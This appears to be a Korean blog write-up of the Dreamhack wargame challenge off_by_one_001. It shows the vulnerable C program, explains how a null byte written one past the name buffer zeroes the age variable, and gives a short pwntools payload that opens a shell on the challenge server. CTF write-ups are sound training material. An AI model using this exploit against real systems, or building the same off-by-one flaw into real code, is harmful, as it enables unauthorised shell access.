본문 바로가기

시스템해킹

[드림핵] off_by_one_001 풀이

728x90

 

보호기법 확인

 

문제코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }

    return 0;
}

 

코드내에 get_shell이 존재하고 변수 age의 값이 0일때 flag를 얻을 수 있다

그렇다면 read_str함수와 name 변수를 활용해 age에 값을 0으로 변조해야 할 것 같다

read_str 함수를 보면 변수를 20만큼 입력을 받고 마지막에 널문자가 있는 것을 알 수 있다

 

 

 

디버깅

 

 

main stack frame

name 변수를 보면 read_str함수에서 20만큼의 값을 받아
마지막에 \0을 추가하는데 name변수에 값을 20만큼 채우면 age값을 침범해

age에 \0값이 덮어 씌워져 서 get_shell을 실행시킬 수 있다

 

 

payload

from pwn import *
p = remote('host3.dreamhack.games', 17221)

p.sendafter(b': ', b'a'*20)

p.interactive()

 

 

결과

 

'시스템해킹' 카테고리의 다른 글

[드림핵] basic_heap_overflow 풀이  (0) 2024.09.07
[드림핵] memory_leakage 풀이  (0) 2024.09.06
[드림핵] ssp_000 풀이  (0) 2024.09.06
[드림핵] validator 풀이  (0) 2024.07.21
[드림핵] cmd_center 풀이  (0) 2024.07.21